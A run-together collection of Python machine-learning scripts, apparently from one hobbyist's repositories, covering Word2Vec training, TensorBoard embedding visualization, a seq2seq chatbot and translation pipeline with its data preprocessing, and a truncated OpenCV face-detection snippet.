vocab2int = {w: i for i, w in enumerate(vocab, start=1)} int2vocab = {i: w for i, w in enumerate(vocab, start=1)} encoded_words = [] for ayah in new_words: encoded_words.append([ vocab2int[w] for w in ayah ]) encoded_words = pad_sequences(encoded_words) # print(encoded_words[10]) words = [] for seq in encoded_words: words.append([ int2vocab[w] if w != 0 else "_unk_" for w in seq ]) # print(words[:5]) # # define model print("Training Word2Vec Model...") model = gensim.models.Word2Vec(sentences=words, size=embedding_dim, workers=7, min_count=1, window=6) path_to_save = r"E:\datasets\word2vec_quran.txt" print("Saving model...") model.wv.save_word2vec_format(path_to_save, binary=False) # print(dir(model)) from keras.layers import Embedding, LSTM, Dense, Activation, BatchNormalization from keras.layers import Flatten from keras.models import Sequential from preprocess import words, vocab, sequence_length, sequences, vector_dim from preprocess import window_size model = Sequential() model.add(Embedding(len(vocab), vector_dim, input_length=sequence_length)) model.add(Flatten()) model.add(Dense(1)) model.compile("adam", "binary_crossentropy") model.fit() def chunk_seq(seq, num): avg = len(seq) / float(num) out = [] last = 0.0 while last < len(seq): out.append(seq[int(last):int(last + avg)]) last += avg return out def encode_words(words, vocab2int): # encoded = [ vocab2int[word] for word in words ] encoded = [] append = encoded.append for word in words: c = vocab2int.get(word) if c: append(c) return encoded def remove_stop_words(vocab): # remove stop words vocab.remove("the") vocab.remove("of") vocab.remove("and") vocab.remove("in") vocab.remove("a") vocab.remove("to") vocab.remove("is") vocab.remove("as") vocab.remove("for") # encoding: utf-8 """ author: BrikerMan contact: eliyar917gmail.com blog: https://eliyar.biz version: 1.0 license: Apache Licence file: w2v_visualizer.py time: 2017/7/30 9:37 """ import sys import os import pathlib import numpy as np from gensim.models.keyedvectors import KeyedVectors import tensorflow as tf from tensorflow.contrib.tensorboard.plugins import projector def visualize(model, output_path): meta_file = "w2x_metadata.tsv" placeholder = np.zeros((len(model.wv.index2word), model.vector_size)) with open(os.path.join(output_path, meta_file), 'wb') as file_metadata: for i, word in enumerate(model.wv.index2word): placeholder[i] = model[word] # temporary solution for https://github.com/tensorflow/tensorflow/issues/9094 if word == '': print("Emply Line, should replecaed by any thing else, or will cause a bug of tensorboard") file_metadata.write("{0}".format('<Empty Line>').encode('utf-8') + b'\n') else: file_metadata.write("{0}".format(word).encode('utf-8') + b'\n') # define the model without training sess = tf.InteractiveSession() embedding = tf.Variable(placeholder, trainable=False, name='w2x_metadata') tf.global_variables_initializer().run() saver = tf.train.Saver() writer = tf.summary.FileWriter(output_path, sess.graph) # adding into projector config = projector.ProjectorConfig() embed = config.embeddings.add() embed.tensor_name = 'w2x_metadata' embed.metadata_path = meta_file # Specify the width and height of a single thumbnail. projector.visualize_embeddings(writer, config) saver.save(sess, os.path.join(output_path, 'w2x_metadata.ckpt')) print('Run tensorboard --logdir={0} to run visualize result on tensorboard'.format(output_path)) if __name__ == "__main__": """ Use model.save_word2vec_format to save w2v_model as word2evc format Then just run python w2v_visualizer.py word2vec.text visualize_result """ try: model_path = sys.argv[1] output_path = sys.argv[2] except: print("Please provice model path and output path") model = KeyedVectors.load_word2vec_format(model_path) pathlib.Path(output_path).mkdir(parents=True, exist_ok=True) visualize(model, output_path) from keras.preprocessing.text import Tokenizer from keras.preprocessing.sequence import pad_sequences from keras.utils import to_categorical import numpy as np import pickle import tqdm class NMTGenerator: """A class utility for generating Neural-Machine-Translation large datasets""" def __init__(self, source_file, target_file, num_encoder_tokens=None, num_decoder_tokens=None, source_sequence_length=None, target_sequence_length=None, x_tk=None, y_tk=None, batch_size=256, validation_split=0.15, load_tokenizers=False, dump_tokenizers=True, same_tokenizer=False, char_level=False, verbose=0): self.source_file = source_file self.target_file = target_file self.same_tokenizer = same_tokenizer self.char_level = char_level if not load_tokenizers: # x ( source ) tokenizer self.x_tk = x_tk if x_tk else Tokenizer(char_level=self.char_level) # y ( target ) tokenizer self.y_tk = y_tk if y_tk else Tokenizer(char_level=self.char_level) else: self.x_tk = pickle.load(open("results/x_tk.pickle", "rb")) self.y_tk = pickle.load(open("results/y_tk.pickle", "rb")) # remove '?' and '.' from filters # which means include them in vocabulary # add "'" to filters self.x_tk.filters = self.x_tk.filters.replace("?", "").replace("_", "") + "'" self.y_tk.filters = self.y_tk.filters.replace("?", "").replace("_", "") + "'" if char_level: self.x_tk.filters = self.x_tk.filters.replace(".", "").replace(",", "") self.y_tk.filters = self.y_tk.filters.replace(".", "").replace(",", "") if same_tokenizer: self.y_tk = self.x_tk # max sequence length of source language self.source_sequence_length = source_sequence_length # max sequence length of target language self.target_sequence_length = target_sequence_length # vocab size of encoder self.num_encoder_tokens = num_encoder_tokens # vocab size of decoder self.num_decoder_tokens = num_decoder_tokens # the batch size self.batch_size = batch_size # the ratio which the dataset will be partitioned self.validation_split = validation_split # whether to dump x_tk and y_tk when finished tokenizing self.dump_tokenizers = dump_tokenizers # cap to remove _unk_ samples self.n_unk_to_remove = 2 self.verbose = verbose def load_dataset(self): """Loads the dataset: 1. load the data from files 2. tokenize and calculate sequence lengths and num_tokens 3. post pad the sequences""" self.load_data() if self.verbose: print("[+] Data loaded") self.tokenize() if self.verbose: print("[+] Text tokenized") self.pad_sequences() if self.verbose: print("[+] Sequences padded") self.split_data() if self.verbose: print("[+] Data splitted") def load_data(self): """Loads data from files""" self.X = load_data(self.source_file) self.y = load_data(self.target_file) # remove much unks on a single sample X, y = [], [] co = 0 for question, answer in zip(self.X, self.y): if question.count("_unk_") >= self.n_unk_to_remove or answer.count("_unk_") >= self.n_unk_to_remove: co += 1 else: X.append(question) y.append(answer) self.X = X self.y = y if self.verbose >= 1: print("[*] Number of samples:", len(self.X)) if self.verbose >= 2: print("[!] Number of samples deleted:", co) def tokenize(self): """Tokenizes sentences/strings as well as calculating input/output sequence lengths and input/output vocab sizes""" self.x_tk.fit_on_texts(self.X) self.y_tk.fit_on_texts(self.y) self.X = self.x_tk.texts_to_sequences(self.X) self.y = self.y_tk.texts_to_sequences(self.y) # calculate both sequence lengths ( source and target ) self.source_sequence_length = max([len(x) for x in self.X]) self.target_sequence_length = max([len(x) for x in self.y]) # calculating number of encoder/decoder vocab sizes self.num_encoder_tokens = len(self.x_tk.index_word) + 1 self.num_decoder_tokens = len(self.y_tk.index_word) + 1 # dump tokenizers pickle.dump(self.x_tk, open("results/x_tk.pickle", "wb")) pickle.dump(self.y_tk, open("results/y_tk.pickle", "wb")) def pad_sequences(self): """Pad sequences""" self.X = pad_sequences(self.X, maxlen=self.source_sequence_length, padding='post') self.y = pad_sequences(self.y, maxlen=self.target_sequence_length, padding='post') def split_data(self): """split training/validation sets using self.validation_split""" split_value = int(len(self.X)*self.validation_split) self.X_test = self.X[:split_value] self.X_train = self.X[split_value:] self.y_test = self.y[:split_value] self.y_train = self.y[split_value:] # free up memory del self.X del self.y def shuffle_data(self, train=True): """Shuffles X and y together :params train (bool): whether to shuffle training data, default is True Note that when train is False, testing data is shuffled instead.""" state = np.random.get_state() if train: np.random.shuffle(self.X_train) np.random.set_state(state) np.random.shuffle(self.y_train) else: np.random.shuffle(self.X_test) np.random.set_state(state) np.random.shuffle(self.y_test) def next_train(self): """Training set generator""" return self.generate_batches(self.X_train, self.y_train, train=True) def next_validation(self): """Validation set generator""" return self.generate_batches(self.X_test, self.y_test, train=False) def generate_batches(self, X, y, train=True): """Data generator""" same_tokenizer = self.same_tokenizer batch_size = self.batch_size char_level = self.char_level source_sequence_length = self.source_sequence_length target_sequence_length = self.target_sequence_length if same_tokenizer: num_encoder_tokens = max([self.num_encoder_tokens, self.num_decoder_tokens]) num_decoder_tokens = num_encoder_tokens else: num_encoder_tokens = self.num_encoder_tokens num_decoder_tokens = self.num_decoder_tokens while True: for j in range(0, len(X), batch_size): encoder_input_data = X[j: j+batch_size] decoder_input_data = y[j: j+batch_size] # update batch size ( different size in last batch of the dataset ) batch_size = encoder_input_data.shape[0] if self.char_level: encoder_data = np.zeros((batch_size, source_sequence_length, num_encoder_tokens)) decoder_data = np.zeros((batch_size, target_sequence_length, num_decoder_tokens)) else: encoder_data = encoder_input_data decoder_data = decoder_input_data decoder_target_data = np.zeros((batch_size, target_sequence_length, num_decoder_tokens)) if char_level: # if its char level, one-hot all sequences of characters for i, sequence in enumerate(decoder_input_data): for t, word_index in enumerate(sequence): if t > 0: decoder_target_data[i, t - 1, word_index] = 1 decoder_data[i, t, word_index] = 1 for i, sequence in enumerate(encoder_input_data): for t, word_index in enumerate(sequence): encoder_data[i, t, word_index] = 1 else: # if its word level, one-hot only target_data ( the one compared with dense ) for i, sequence in enumerate(decoder_input_data): for t, word_index in enumerate(sequence): if t > 0: decoder_target_data[i, t - 1, word_index] = 1 yield ([encoder_data, decoder_data], decoder_target_data) # shuffle data when an epoch is finished self.shuffle_data(train=train) def get_embedding_vectors(tokenizer): embedding_index = {} with open("data/glove.6B.300d.txt", encoding='utf8') as f: for line in tqdm.tqdm(f, "Reading GloVe"): values = line.split() word = values[0] vectors = np.asarray(values[1:], dtype='float32') embedding_index[word] = vectors word_index = tokenizer.word_index embedding_matrix = np.zeros((len(word_index)+1, 300)) for word, i in word_index.items(): embedding_vector = embedding_index.get(word) if embedding_vector is not None: # words not found will be 0s embedding_matrix[i] = embedding_vector return embedding_matrix def load_data(filename): text = [] append = text.append with open(filename) as f: for line in tqdm.tqdm(f, f"Reading {filename}"): line = line.strip() append(line) return text # def generate_batch(X, y, num_decoder_tokens, max_length_src, max_length_target, batch_size=256): # """Generating data""" # while True: # for j in range(0, len(X), batch_size): # encoder_input_data = np.zeros((batch_size, max_length_src), dtype='float32') # decoder_input_data = np.zeros((batch_size, max_length_target), dtype='float32') # decoder_target_data = np.zeros((batch_size, max_length_target, num_decoder_tokens), dtype='float32') # for i, (input_text, target_text) in enumerate(zip(X[j: j+batch_size], y[j: j+batch_size])): # for t, word in enumerate(input_text.split()): # encoder_input_data[i, t] = input_word_index[word] # encoder input sequence # for t, word in enumerate(target_text.split()): # if t > 0: # # offset by one timestep # # one-hot encoded # decoder_target_data[i, t-1, target_token_index[word]] = 1 # if t < len(target_text.split()) - 1: # decoder_input_data[i, t] = target_token_index[word] # yield ([encoder_input_data, decoder_input_data], decoder_target_data) # def tokenize(x, tokenizer=None): # """Tokenize x # :param x: List of sentences/strings to be tokenized # :return: Tuple of (tokenized x data, tokenizer used to tokenize x)""" # if tokenizer: # t = tokenizer # else: # t = Tokenizer() # t.fit_on_texts(x) # return t.texts_to_sequences(x), t # def pad(x, length=None): # """Pad x # :param x: list of sequences # :param length: Length to pad the sequence to, If None, use length # of longest sequence in x. # :return: Padded numpy array of sequences""" # return pad_sequences(x, maxlen=length, padding="post") # def preprocess(x, y): # """Preprocess x and y # :param x: Feature list of sentences # :param y: Label list of sentences # :return: Tuple of (preprocessed x, preprocessed y, x tokenizer, y tokenizer)""" # preprocess_x, x_tk = tokenize(x) # preprocess_y, y_tk = tokenize(y) # preprocess_x2 = [ [0] + s for s in preprocess_y ] # longest_x = max([len(i) for i in preprocess_x]) # longest_y = max([len(i) for i in preprocess_y]) + 1 # # max_length = len(x_tk.word_index) if len(x_tk.word_index) > len(y_tk.word_index) else len(y_tk.word_index) # max_length = longest_x if longest_x > longest_y else longest_y # preprocess_x = pad(preprocess_x, length=max_length) # preprocess_x2 = pad(preprocess_x2, length=max_length) # preprocess_y = pad(preprocess_y, length=max_length) # # preprocess_x = to_categorical(preprocess_x) # # preprocess_x2 = to_categorical(preprocess_x2) # preprocess_y = to_categorical(preprocess_y) # return preprocess_x, preprocess_x2, preprocess_y, x_tk, y_tk from keras.layers import Embedding, TimeDistributed, Dense, GRU, LSTM, Input from keras.models import Model, Sequential from keras.utils import to_categorical import numpy as np import tqdm def encoder_decoder_model(num_encoder_tokens, latent_dim, num_decoder_tokens, embedding_matrix=None, embedding_layer=True): # ENCODER # define an input sequence and process it if embedding_layer: encoder_inputs = Input(shape=(None,)) if embedding_matrix is None: encoder_emb_layer = Embedding(num_encoder_tokens, latent_dim, mask_zero=True) else: encoder_emb_layer = Embedding(num_encoder_tokens, latent_dim, mask_zero=True, weights=[embedding_matrix], trainable=False) encoder_emb = encoder_emb_layer(encoder_inputs) else: encoder_inputs = Input(shape=(None, num_encoder_tokens)) encoder_emb = encoder_inputs encoder_lstm = LSTM(latent_dim, return_state=True) encoder_outputs, state_h, state_c = encoder_lstm(encoder_emb) # we discard encoder_outputs and only keep the states encoder_states = [state_h, state_c] # DECODER # Set up the decoder, using encoder_states as initial state if embedding_layer: decoder_inputs = Input(shape=(None,)) else: decoder_inputs = Input(shape=(None, num_encoder_tokens)) # add an embedding layer # decoder_emb_layer = Embedding(num_decoder_tokens, latent_dim, mask_zero=True) if embedding_layer: decoder_emb = encoder_emb_layer(decoder_inputs) else: decoder_emb = decoder_inputs # we set up our decoder to return full output sequences # and to return internal states as well, we don't use the # return states in the training model, but we will use them in inference decoder_lstm = LSTM(latent_dim, return_sequences=True, return_state=True) decoder_outputs, _, _, = decoder_lstm(decoder_emb, initial_state=encoder_states) # dense output layer used to predict each character ( or word ) # in one-hot manner, not recursively decoder_dense = Dense(num_decoder_tokens, activation="softmax") decoder_outputs = decoder_dense(decoder_outputs) # finally, the model is defined with inputs for the encoder and the decoder # and the output target sequence # turn encoder_input_data & decoder_input_data into decoder_target_data model = Model([encoder_inputs, decoder_inputs], output=decoder_outputs) # model.summary() # define encoder inference model encoder_model = Model(encoder_inputs, encoder_states) # define decoder inference model decoder_state_input_h = Input(shape=(latent_dim,)) decoder_state_input_c = Input(shape=(latent_dim,)) decoder_states_inputs = [decoder_state_input_h, decoder_state_input_c] # Get the embeddings of the decoder sequence if embedding_layer: dec_emb2 = encoder_emb_layer(decoder_inputs) else: dec_emb2 = decoder_inputs decoder_outputs, state_h, state_c = decoder_lstm(dec_emb2, initial_state=decoder_states_inputs) decoder_states = [state_h, state_c] decoder_outputs = decoder_dense(decoder_outputs) decoder_model = Model([decoder_inputs] + decoder_states_inputs, [decoder_outputs] + decoder_states) return model, encoder_model, decoder_model def predict_sequence(enc, dec, source, n_steps, cardinality, char_level=False): """Generate target given source sequence, this function can be used after the model is trained to generate a target sequence given a source sequence.""" # encode state = enc.predict(source) # start of sequence input if char_level: target_seq = np.zeros((1, 1, 61)) else: target_seq = np.zeros((1, 1)) # collect predictions output = [] for t in range(n_steps): # predict next char yhat, h, c = dec.predict([target_seq] + state) # store predictions y = yhat[0, 0, :] if char_level: sampled_token_index = to_categorical(np.argmax(y), num_classes=61) else: sampled_token_index = np.argmax(y) output.append(sampled_token_index) # update state state = [h, c] # update target sequence if char_level: target_seq = np.zeros((1, 1, 61)) else: target_seq = np.zeros((1, 1)) target_seq[0, 0] = sampled_token_index return np.array(output) def decode_sequence(enc, dec, input_seq): # Encode the input as state vectors. states_value = enc.predict(input_seq) # Generate empty target sequence of length 1. target_seq = np.zeros((1,1)) # Populate the first character of target sequence with the start character. target_seq[0, 0] = 0 # Sampling loop for a batch of sequences # (to simplify, here we assume a batch of size 1). stop_condition = False decoded_sequence = [] while not stop_condition: output_tokens, h, c = dec.predict([target_seq] + states_value) # Sample a token sampled_token_index = np.argmax(output_tokens[0, -1, :]) # sampled_char = reverse_target_char_index[sampled_token_index] decoded_sentence.append(output_tokens[0, -1, :]) # Exit condition: either hit max length or find stop token. if (output_tokens == '<PAD>' or len(decoded_sentence) > 50): stop_condition = True # Update the target sequence (of length 1). target_seq = np.zeros((1,1)) target_seq[0, 0] = sampled_token_index # Update states states_value = [h, c] return decoded_sentence from keras.preprocessing.text import Tokenizer from keras.preprocessing.sequence import pad_sequences from keras.utils import to_categorical import numpy as np def tokenize(x, tokenizer=None): """Tokenize x :param x: List of sentences/strings to be tokenized :return: Tuple of (tokenized x data, tokenizer used to tokenize x)""" if tokenizer: t = tokenizer else: t = Tokenizer() t.fit_on_texts(x) return t.texts_to_sequences(x), t def pad(x, length=None): """Pad x :param x: list of sequences :param length: Length to pad the sequence to, If None, use length of longest sequence in x. :return: Padded numpy array of sequences""" return pad_sequences(x, maxlen=length, padding="post") def preprocess(x, y): """Preprocess x and y :param x: Feature list of sentences :param y: Label list of sentences :return: Tuple of (preprocessed x, preprocessed y, x tokenizer, y tokenizer)""" preprocess_x, x_tk = tokenize(x) preprocess_y, y_tk = tokenize(y) preprocess_x2 = [ [0] + s for s in preprocess_y ] longest_x = max([len(i) for i in preprocess_x]) longest_y = max([len(i) for i in preprocess_y]) + 1 # max_length = len(x_tk.word_index) if len(x_tk.word_index) > len(y_tk.word_index) else len(y_tk.word_index) max_length = longest_x if longest_x > longest_y else longest_y preprocess_x = pad(preprocess_x, length=max_length) preprocess_x2 = pad(preprocess_x2, length=max_length) preprocess_y = pad(preprocess_y, length=max_length) # preprocess_x = to_categorical(preprocess_x) # preprocess_x2 = to_categorical(preprocess_x2) preprocess_y = to_categorical(preprocess_y) return preprocess_x, preprocess_x2, preprocess_y, x_tk, y_tk def load_data(filename): with open(filename) as f: text = f.read() return text.split("\n") def load_dataset(): english_sentences = load_data("data/small_vocab_en") french_sentences = load_data("data/small_vocab_fr") return preprocess(english_sentences, french_sentences) # def generate_batch(X, y, num_decoder_tokens, max_length_src, max_length_target, batch_size=256): # """Generating data""" # while True: # for j in range(0, len(X), batch_size): # encoder_input_data = np.zeros((batch_size, max_length_src), dtype='float32') # decoder_input_data = np.zeros((batch_size, max_length_target), dtype='float32') # decoder_target_data = np.zeros((batch_size, max_length_target, num_decoder_tokens), dtype='float32') # for i, (input_text, target_text) in enumerate(zip(X[j: j+batch_size], y[j: j+batch_size])): # for t, word in enumerate(input_text.split()): # encoder_input_data[i, t] = input_word_index[word] # encoder input sequence # for t, word in enumerate(target_text.split()): # if t > 0: # # offset by one timestep # # one-hot encoded # decoder_target_data[i, t-1, target_token_index[word]] = 1 # if t < len(target_text.split()) - 1: # decoder_input_data[i, t] = target_token_index[word] # yield ([encoder_input_data, decoder_input_data], decoder_target_data) if __name__ == "__main__": from generator import NMTGenerator gen = NMTGenerator(source_file="data/small_vocab_en", target_file="data/small_vocab_fr") gen.load_dataset() print(gen.num_decoder_tokens) print(gen.num_encoder_tokens) print(gen.source_sequence_length) print(gen.target_sequence_length) print(gen.X.shape) print(gen.y.shape) for i, ((encoder_input_data, decoder_input_data), decoder_target_data) in enumerate(gen.generate_batches()): # print("encoder_input_data.shape:", encoder_input_data.shape) # print("decoder_output_data.shape:", decoder_input_data.shape) if i % (len(gen.X) // gen.batch_size + 1) == 0: print(i, ": decoder_input_data:", decoder_input_data[0]) # to use CPU import os os.environ["CUDA_DEVICE_ORDER"] = "PCI_BUS_ID" # see issue #152 os.environ["CUDA_VISIBLE_DEVICES"] = "-1" import tensorflow as tf config = tf.ConfigProto(intra_op_parallelism_threads=5, inter_op_parallelism_threads=5, allow_soft_placement=True, device_count = {'CPU' : 1, 'GPU' : 0} ) from models import predict_sequence, encoder_decoder_model from preprocess import tokenize, pad from keras.utils import to_categorical from generator import get_embedding_vectors import pickle import numpy as np x_tk = pickle.load(open("results/x_tk.pickle", "rb")) y_tk = pickle.load(open("results/y_tk.pickle", "rb")) index_to_words = {id: word for word, id in y_tk.word_index.items()} index_to_words[0] = '_' def logits_to_text(logits): """ Turn logits from a neural network into text using the tokenizer :param logits: Logits from a neural network :param tokenizer: Keras Tokenizer fit on the labels :return: String that represents the text of the logits """ # return ' '.join([index_to_words[prediction] for prediction in np.argmax(logits, 1)]) return ' '.join([index_to_words[prediction] for prediction in logits]) num_encoder_tokens = 29046 num_decoder_tokens = 29046 latent_dim = 300 # embedding_vectors = get_embedding_vectors(x_tk) model, enc, dec = encoder_decoder_model(num_encoder_tokens, latent_dim, num_decoder_tokens) enc.summary() dec.summary() model.summary() model.load_weights("results/chatbot_v13_4.831_0.219.h5") while True: text = input("> ") tokenized = tokenize([text], tokenizer=y_tk)[0] # print("tokenized:", tokenized) X = pad(tokenized, length=37) sequence = predict_sequence(enc, dec, X, 37, num_decoder_tokens) # print(sequence) result = logits_to_text(sequence) print(result) # to use CPU import os os.environ["CUDA_DEVICE_ORDER"] = "PCI_BUS_ID" # see issue #152 os.environ["CUDA_VISIBLE_DEVICES"] = "-1" import tensorflow as tf config = tf.ConfigProto(intra_op_parallelism_threads=5, inter_op_parallelism_threads=5, allow_soft_placement=True, device_count = {'CPU' : 1, 'GPU' : 0} ) from models import predict_sequence, encoder_decoder_model from preprocess import tokenize, pad from keras.utils import to_categorical from generator import get_embedding_vectors import pickle import numpy as np x_tk = pickle.load(open("results/x_tk.pickle", "rb")) y_tk = pickle.load(open("results/y_tk.pickle", "rb")) index_to_words = {id: word for word, id in y_tk.word_index.items()} index_to_words[0] = '_' def logits_to_text(logits): """ Turn logits from a neural network into text using the tokenizer :param logits: Logits from a neural network :param tokenizer: Keras Tokenizer fit on the labels :return: String that represents the text of the logits """ # return ' '.join([index_to_words[prediction] for prediction in np.argmax(logits, 1)]) # return ''.join([index_to_words[np.where(prediction==1)[0]] for prediction in logits]) text = "" for prediction in logits: char_index = np.where(prediction)[0][0] char = index_to_words[char_index] text += char return text num_encoder_tokens = 61 num_decoder_tokens = 61 latent_dim = 384 # embedding_vectors = get_embedding_vectors(x_tk) model, enc, dec = encoder_decoder_model(num_encoder_tokens, latent_dim, num_decoder_tokens, embedding_layer=False) enc.summary() dec.summary() model.summary() model.load_weights("results/chatbot_charlevel_v2_0.32_0.90.h5") while True: text = input("> ") tokenized = tokenize([text], tokenizer=y_tk)[0] # print("tokenized:", tokenized) X = to_categorical(pad(tokenized, length=37), num_classes=num_encoder_tokens) # print(X) sequence = predict_sequence(enc, dec, X, 206, num_decoder_tokens, char_level=True) # print(sequence) result = logits_to_text(sequence) print(result) import numpy as np import pickle from models import encoder_decoder_model from generator import NMTGenerator, get_embedding_vectors from preprocess import load_dataset from keras.callbacks import ModelCheckpoint from keras_adabound import AdaBound text_gen = NMTGenerator(source_file="data/questions", target_file="data/answers", batch_size=32, same_tokenizer=True, verbose=2) text_gen.load_dataset() print("[+] Dataset loaded.") num_encoder_tokens = text_gen.num_encoder_tokens num_decoder_tokens = text_gen.num_decoder_tokens # get tokenizer tokenizer = text_gen.x_tk embedding_vectors = get_embedding_vectors(tokenizer) print("text_gen.source_sequence_length:", text_gen.source_sequence_length) print("text_gen.target_sequence_length:", text_gen.target_sequence_length) num_tokens = max([num_encoder_tokens, num_decoder_tokens]) latent_dim = 300 model, enc, dec = encoder_decoder_model(num_tokens, latent_dim, num_tokens, embedding_matrix=embedding_vectors) model.summary() enc.summary() dec.summary() del enc del dec print("[+] Models created.") model.compile(optimizer="rmsprop", loss="categorical_crossentropy", metrics=["accuracy"]) print("[+] Model compiled.") # pickle.dump(x_tk, open("results/x_tk.pickle", "wb")) print("[+] X tokenizer serialized.") # pickle.dump(y_tk, open("results/y_tk.pickle", "wb")) print("[+] y tokenizer serialized.") # X = X.reshape((X.shape[0], X.shape[2], X.shape[1])) # y = y.reshape((y.shape[0], y.shape[2], y.shape[1])) print("[+] Dataset reshaped.") # print("X1.shape:", X1.shape) # print("X2.shape:", X2.shape) # print("y.shape:", y.shape) checkpointer = ModelCheckpoint("results/chatbot_v13_{val_loss:.3f}_{val_acc:.3f}.h5", save_best_only=False, verbose=1) model.load_weights("results/chatbot_v13_4.806_0.219.h5") # model.fit([X1, X2], y, model.fit_generator(text_gen.next_train(), validation_data=text_gen.next_validation(), verbose=1, steps_per_epoch=(len(text_gen.X_train) // text_gen.batch_size), validation_steps=(len(text_gen.X_test) // text_gen.batch_size), callbacks=[checkpointer], epochs=5) print("[+] Model trained.") model.save_weights("results/chatbot_v13.h5") print("[+] Model saved.") import numpy as np import pickle from models import encoder_decoder_model from generator import NMTGenerator, get_embedding_vectors from preprocess import load_dataset from keras.callbacks import ModelCheckpoint from keras_adabound import AdaBound text_gen = NMTGenerator(source_file="data/questions", target_file="data/answers", batch_size=256, same_tokenizer=True, char_level=True, verbose=2) text_gen.load_dataset() print("[+] Dataset loaded.") num_encoder_tokens = text_gen.num_encoder_tokens num_decoder_tokens = text_gen.num_decoder_tokens # get tokenizer tokenizer = text_gen.x_tk print("text_gen.source_sequence_length:", text_gen.source_sequence_length) print("text_gen.target_sequence_length:", text_gen.target_sequence_length) num_tokens = max([num_encoder_tokens, num_decoder_tokens]) latent_dim = 384 model, enc, dec = encoder_decoder_model(num_tokens, latent_dim, num_tokens, embedding_layer=False) model.summary() enc.summary() dec.summary() del enc del dec print("[+] Models created.") model.compile(optimizer=AdaBound(lr=1e-3, final_lr=0.1), loss="categorical_crossentropy", metrics=["accuracy"]) print("[+] Model compiled.") # pickle.dump(x_tk, open("results/x_tk.pickle", "wb")) print("[+] X tokenizer serialized.") # pickle.dump(y_tk, open("results/y_tk.pickle", "wb")) print("[+] y tokenizer serialized.") # X = X.reshape((X.shape[0], X.shape[2], X.shape[1])) # y = y.reshape((y.shape[0], y.shape[2], y.shape[1])) print("[+] Dataset reshaped.") # print("X1.shape:", X1.shape) # print("X2.shape:", X2.shape) # print("y.shape:", y.shape) checkpointer = ModelCheckpoint("results/chatbot_charlevel_v2_{val_loss:.2f}_{val_acc:.2f}.h5", save_best_only=False, verbose=1) model.load_weights("results/chatbot_charlevel_v2_0.32_0.90.h5") # model.fit([X1, X2], y, model.fit_generator(text_gen.next_train(), validation_data=text_gen.next_validation(), verbose=1, steps_per_epoch=(len(text_gen.X_train) // text_gen.batch_size)+1, validation_steps=(len(text_gen.X_test) // text_gen.batch_size)+1, callbacks=[checkpointer], epochs=50) print("[+] Model trained.") model.save_weights("results/chatbot_charlevel_v2.h5") print("[+] Model saved.") import tqdm X, y = [], [] with open("data/fr-en", encoding='utf8') as f: for i, line in tqdm.tqdm(enumerate(f), "Reading file"): if "europarl-v7" in line: continue # X.append(line) # if i == 2007723 or i == 2007724 or i == 2007725 if i <= 2007722: X.append(line.strip()) else: y.append(line.strip()) y.pop(-1) with open("data/en", "w", encoding='utf8') as f: for i in tqdm.tqdm(X, "Writing english"): print(i, file=f) with open("data/fr", "w", encoding='utf8') as f: for i in tqdm.tqdm(y, "Writing french"): print(i, file=f) import glob import tqdm import os import random import inflect p = inflect.engine() X, y = [], [] special_words = { "haha", "rockikz", "fullclip", "xanthoss", "aw", "wow", "ah", "oh", "god", "quran", "allah", "muslims", "muslim", "islam", "?", ".", ",", '_func_val_get_callme_para1_comma0', '_num2_', '_func_val_get_last_question', '_num1_', '_func_val_get_number_plus_para1__num1__para2__num2_', '_func_val_update_call_me_enforced_para1__callme_', '_func_val_get_number_minus_para1__num2__para2__num1_', '_func_val_get_weekday_para1_d0', '_func_val_update_user_name_para1__name_', '_callme_', '_func_val_execute_pending_action_and_reply_para1_no', '_func_val_clear_user_name_and_call_me', '_func_val_get_story_name_para1_the_velveteen_rabbit', '_ignored_', '_func_val_get_number_divide_para1__num1__para2__num2_', '_func_val_get_joke_anyQ:', '_func_val_update_user_name_and_call_me_para1__name__para2__callme_', '_func_val_get_number_divide_para1__num2__para2__num1_Q:', '_name_', '_func_val_ask_name_if_not_yet', '_func_val_get_last_answer', '_func_val_continue_last_topic', '_func_val_get_weekday_para1_d1', '_func_val_get_number_minus_para1__num1__para2__num2_', '_func_val_get_joke_any', '_func_val_get_story_name_para1_the_three_little_pigs', '_func_val_update_call_me_para1__callme_', '_func_val_get_story_name_para1_snow_white', '_func_val_get_today', '_func_val_get_number_multiply_para1__num1__para2__num2_', '_func_val_update_user_name_enforced_para1__name_', '_func_val_get_weekday_para1_d_2', '_func_val_correct_user_name_para1__name_', '_func_val_get_time', '_func_val_get_number_divide_para1__num2__para2__num1_', '_func_val_get_story_any', '_func_val_execute_pending_action_and_reply_para1_yes', '_func_val_get_weekday_para1_d_1', '_func_val_get_weekday_para1_d2' } english_words = { word.strip() for word in open("data/words8.txt") } embedding_words = set() f = open("data/glove.6B.300d.txt", encoding='utf8') for line in tqdm.tqdm(f, "Reading GloVe words"): values = line.split() word = values[0] embedding_words.add(word) maps = open("data/maps.txt").readlines() word_mapper = {} for map in maps: key, value = map.split("=>") key = key.strip() value = value.strip() print(f"Mapping {key} to {value}") word_mapper[key.lower()] = value unks = 0 digits = 0 mapped = 0 english = 0 special = 0 def map_text(line): global unks global digits global mapped global english global special result = [] append = result.append words = line.split() for word in words: word = word.lower() if word.isdigit(): append(p.number_to_words(word)) digits += 1 continue if word in word_mapper: append(word_mapper[word]) mapped += 1 continue if word in english_words: append(word) english += 1 continue if word in special_words: append(word) special += 1 continue append("_unk_") unks += 1 return ' '.join(result) for file in tqdm.tqdm(glob.glob("data/Augment*/*"), "Reading files"): with open(file, encoding='utf8') as f: for line in f: line = line.strip() if "Q: " in line: X.append(line) elif "A: " in line: y.append(line) # shuffle X and y maintaining the order combined = list(zip(X, y)) random.shuffle(combined) X[:], y[:] = zip(*combined) with open("data/questions", "w") as f: for line in tqdm.tqdm(X, "Writing questions"): line = line.strip().lstrip('Q: ') line = map_text(line) print(line, file=f) print() print("[!] Unks:", unks) print("[!] digits:", digits) print("[!] Mapped:", mapped) print("[!] english:", english) print("[!] special:", special) print() unks = 0 digits = 0 mapped = 0 english = 0 special = 0 with open("data/answers", "w") as f: for line in tqdm.tqdm(y, "Writing answers"): line = line.strip().lstrip('A: ') line = map_text(line) print(line, file=f) print() print("[!] Unks:", unks) print("[!] digits:", digits) print("[!] Mapped:", mapped) print("[!] english:", english) print("[!] special:", special) print() import numpy as np import cv2 # loading the test image image = cv2.imread("kids.jpg") # converting to grayscale image_gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY) # initialize the face recognizer (default face haar cascade) face_cascade = cv2.CascadeClassifier("cascades/haarcascade_fontalface_default.xml") # detect all the faces in the image faces = face_cascade.detectMultiScale(image_gray, 1.3, 5) # for every face, draw a blue rectangle for x, y, width, height in faces: cv2.rectangle(image, (x, y), (x + width, y + height), 